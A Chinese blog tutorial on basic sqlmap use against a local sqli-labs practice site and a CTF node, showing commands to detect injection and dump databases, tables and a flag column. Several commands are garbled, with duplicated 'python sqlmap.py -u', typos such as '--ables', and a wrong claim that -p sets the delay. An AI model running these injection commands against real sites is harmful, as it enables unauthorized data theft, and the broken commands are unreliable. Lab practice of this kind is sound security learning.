sqlmap使用介绍(一、基本使用)

一、基本操作

  • 本文在本地搭建sqlmap靶场测试。
  • 先说一个小知识,在测试的时候,可能会让你输入 y 或 n 来确认一些事项,比如说
    在这里插入图片描述- 这个时候,可以翻译一下提示,理解一下什么意思,自行决定是y还是n。

1、url探测参数 -u

  • 这是最简单的一个参数,指定一个目标url测试是否存在sql注入。

  • 使用方法就是像上面的, -u 后加一个url地址,不过必须加上参数,下面是get传参,post传参后面再介绍。

    python sqlmap.py -u http://127.0.0.1/?id=1 
    
  • 执行探测是否存在注入。

    python3 sqlmap.py -u http://127.0.0.1/sqli-labs/Less-1/?id=1
    
  • 返回存在注入点,并返回注入方式,可以看到测试的payload有联合注入、时间盲注。
    在这里插入图片描述

  • 所以,开始一把梭。

2、 基础使用参数

 -- dbs                 显示所有数据库名称
 -D (数据库名)          选则数据库
 --tables               显示所有的表
 -T (表名)             选择表
 --columns              显示所有的字段
 -C (字段名)            选择字段
 --dump                 显示字段内容
  • 使用方法差不多,都是在后面加上参数,分别比如

    python sqlmap.py -u http://127.0.0.1/?id=1 --dbs
    
  • 就第一题而已,先看看数据库名称。用参数 --dbs

    python sqlmap.py -u http://127.0.0.1/sqli-labs/Less-1/?id=1 --dbs
    

在这里插入图片描述

  • 看到列出了6个数据库名称,看到有一个 ctftraining 的数据库,看看它有什么表。用 -D 选择数据库 ctftraining。再用 --ables 参数显示所有表名。

    python sqlmap.py -u http://127.0.0.1/sqli-labs/Less-1/?id=1 -D ctftraining --tables
    

在这里插入图片描述

  • 看到有3个表名,其中就有一个表名为flag,看看字段。用 -D 选择数据库 ctftraining 后 ,再用-T 参数选择表 flag ,然后用 --columns 参数显示所有字段名。

    python sqlmap.py -u http://127.0.0.1/sqli-labs/Less-1/?id=1 -D ctftraining -T flag --columns
    

在这里插入图片描述

  • 可以看到有一个flag字段。继续来读取它的内容。用 -D 选择数据库 ctftraining 后 ,再用-T 参数选择表 flag ,然后用 -C 选择字段 flag ,最后用 --dump 显示字段内容。

    python sqlmap.py -u http://0d606694-3428-40ab-b138-7cc7ac2b8cc9.node3.buuoj.cn/Less-1/?id=1 -D ctftraining -T flag -C flag --dump
    

在这里插入图片描述

  • 就这样,完成了一次最简单的使用。

3、post提交指明参数 --data

  • 如果不是get传参,需要 post 传参,则可以使用 --data 参数。比如说第11关。

    python sqlmap.py -u python sqlmap.py -u http://127.0.0.1/sqli-labs/Less-11/  --data="uname=1&passwd=1" 
    
  • 在结合刚刚的基本使用参数,也可以一把梭。举个例子,爆数据库。

    python sqlmap.py -u python sqlmap.py -u http://127.0.0.1/sqli-labs/Less-11/  --data="uname=1&passwd=1"  --dbs
    

4、指定测试参数 -p

  • 如果只是有多个参数,比如说账号密码,只想测试一个参数,则可以用-p 指定一个参数,比如说指定测试参数 uname

    python sqlmap.py -u python sqlmap.py -u http://127.0.0.1/sqli-labs/Less-11/  --data="uname=1&passwd=1" -p uname
    

5、测试延时参数 -delay

  • 有的网站如果请求过快会被ban,所以,我们可以延时测试请求。用-p参数设置延时时间,单位为秒。比如延时1秒。或者根据实际需求设置更长的时间。

    python sqlmap.py -u python sqlmap.py -u http://127.0.0.1/sqli-labs/Less-11/  --data="uname=1&passwd=1" -p uname -delay 1
    

6、显示等级参数 -v

  • 如果说想看到注入测试过程更详细的内容,则可以使用-v参数来设置,比如说,看注入过程的payload。

0:只显示python 错误和一些严重信息;
1:显示基本信息(默认);
2:显示debug信息;
3:显示注入过程的payload;
4:显示http请求包;
5:显示http响应头;
6:显示http相应页面。

python sqlmap.py -u python sqlmap.py -u http://127.0.0.1/sqli-labs/Less-11/  --data="uname=1&passwd=1" -p uname -v 3

7、请求方式参数 --method

  • 可能url带有参数请求,但是需要post传参,就可以用--method 来指定 --method=GET/POST传参。比如说

    python sqlmap.py -u python sqlmap.py -u http://127.0.0.1/sqli-labs/Less-11/?id=111  --data="uname=1&passwd=1" --method=post
    

8、cookie请求参数 --cookie

  • 在注入的时候,可能需要身份验证,比如说登录之后才能访问,就可以用--cookie 加上登录后的cookie再测试。

    python sqlmap.py -u python sqlmap.py -u http://127.0.0.1/sqli-labs/Less-20/?id=111  --data="uname=1&passwd=1" --cookie="a=1" --method=post
    

9、测试等级参数 --level

  • 也有可能注入点在 cookie ,需要测试它的话,就必须提高测试等级 >=2 ,所以,可以用 --level 设置。同时,提高等级也提高了测试payload的复杂度。

共有五个等级,默认为1
level>=2的时候就会测试HTTP Cookie。
level>=3的时候就会测试HTTP User-Agent/Referer头。
level=5 的时候会测试HTTP Host。

  • 用sqli-labs第20题测试。成功测出

    python sqlmap.py -u python sqlmap.py -u http://127.0.0.1/sqlil-abs/Less-20/  --data="uname=1&passwd=1" --cookie="uname=1" --level 2
    

在这里插入图片描述

最后

  • 大概就是这么一篇水文吧,也一起跟着学着基础操作。
  • 每次看他们sqlmap一把梭就难受,感觉不是用的同一个sqlmap。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值